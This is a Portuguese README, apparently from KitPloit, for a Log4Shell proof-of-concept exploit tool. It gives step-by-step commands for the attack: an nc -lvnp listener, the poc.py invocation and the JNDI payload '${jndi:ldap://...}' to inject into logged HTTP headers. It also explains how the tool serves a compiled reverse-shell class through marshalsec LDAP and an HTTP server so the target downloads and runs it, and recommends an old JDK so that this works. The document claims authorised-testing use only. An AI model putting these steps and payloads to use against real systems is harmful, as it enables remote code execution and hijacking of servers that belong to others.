Instalação

1. Clone ou baixe este repositório.
2. Coloque a pasta jdk1.8.0_20 e o JAR do marshalsec conforme descrito acima.
3. Instale as dependências Python:
   root@kitploit:~

   pip install -r requirements.txt
   

Uso

Execute o script com Python:

Argumentos de linha de comando

Exemplo

1. Inicie um listener netcat na sua máquina atacante (substitua 9001 pela porta escolhida):

   root@kitploit:~

   nc -lvnp 9001
   

2. Execute o exploit:

   root@kitploit:~

   python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
   

   Se você omitir --userip, o script usará automaticamente o endereço IPv4 principal da sua máquina.

3. O script exibirá uma string de payload para injetar no alvo vulnerável, por exemplo:

   root@kitploit:~

   ${jndi:ldap://192.168.1.10:1389/a}
   

4. Injete esta string em qualquer campo de entrada ou cabeçalho HTTP que seja registrado por uma instância vulnerável do Log4j (ex.: User-Agent, X-Forwarded-For, etc.). O alvo se conectará ao servidor LDAP, buscará a classe maliciosa no servidor HTTP e executará o reverse shell.

5. Você deve ver uma conexão shell aparecer no seu listener netcat.

Como funciona

1. O script gera Exploit.java contendo código que abre um reverse shell para userip:lport.
2. Ele compila o arquivo usando o JDK fornecido (ou o javac do sistema).
3. Ele inicia um servidor LDAP (via marshalsec) que responde a consultas JNDI com uma referência ao servidor HTTP.
4. Ele inicia um servidor HTTP simples na porta webport para hospedar o Exploit.class compilado.
5. Quando um alvo vulnerável realiza uma consulta JNDI com o payload injetado, ele baixa e executa a classe, dando ao atacante um reverse shell.

Notas importantes

• O payload do reverse shell usa /bin/sh e é destinado a sistemas alvo do tipo Unix. Para alvos Windows, você precisaria modificar o comando dentro de Exploit.java.
• O JDK 1.8.0_20 incluído é recomendado porque versões posteriores podem bloquear o recurso de carregamento remoto de classes JNDI usado por este exploit.
• Certifique-se de que os firewalls permitam conexões de entrada nas portas especificadas (webport e lport) e que o alvo consiga alcançar sua máquina.

Limpeza

O script remove automaticamente Exploit.java e Exploit.class ao sair (normalmente ou após um KeyboardInterrupt). Se você precisar manter os arquivos para depuração, comente o bloco finally em poc.py.

Aviso legal

Esta ferramenta destina-se apenas a fins educacionais e de testes de segurança autorizados. O uso não autorizado deste exploit contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. Os autores não são responsáveis por qualquer uso indevido ou dano causado por este software.

Créditos

• PoC original por kozmer
• Marshalsec por mbechler
• Vulnerabilidade do Log4j descoberta pelo Alibaba Cloud Security Team